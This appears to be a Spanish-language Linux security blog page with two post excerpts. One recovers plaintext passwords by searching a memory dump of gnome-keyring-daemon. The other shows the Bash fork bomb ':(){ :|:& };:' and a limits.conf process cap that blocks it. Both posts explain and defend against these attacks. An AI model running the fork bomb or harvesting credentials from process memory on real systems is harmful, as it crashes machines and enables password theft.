    Ahora que ya tenemos el volcado de memoria en formato texto, únicamente quedará por realizar la búsqueda de información sensible. Para ello, depende mucho del programa, pero generalmente tiene la cadena passwd, password, contraseña o similar y a continuación los datos que nos interesa. Por lo tanto, abrimos el fichero y se puede ver algo similar a lo que sigue.
    ...
    _Contrase
    minutos
    00004000
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh?p
    .r4qu3l12
    zR:W
    mipasswdenclaro
    ...
    
Con esto que acabamos de descubrir podemos ver que el proceso gnome-keyring-daemon no es para nada seguro. ¿Qué pasará si analizamos sudo?
Leer más

Linux bomb! :(){ :|:& };:

Desde hace mucho tiempo existe en GNU/Linux un tipo de ataque conocido como bomba fork que lo que hace es bombardear el sistema con una gran cantidad de tareas y procesos, lo que implica saturación de recursos y el cuelgue del sistema, bloqueando toda posibilidad de hacer algo. El comando para realizar dicho ataque es muy sencillo,
shell> :(){ :|:& };:
Ejecutando simplemente esa instrucción, cualquier usuario puede bloquear un sistema al que tenga acceso.
Para evitar que ésto suceda, existe una forma de hacerlo, que no es otra que modificara la cantidad de procesos y archivos que un usuario puede tener abiertos en un momento dado. Por lo tanto, vamos a limitar al usuario USER, para evitar que se pueda conectar a un equipo y realizar dicho ataque de manera efectiva.
shell> cat /etc/security/limits.conf
USER soft nproc 1000
USER hard nproc 2000
...
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios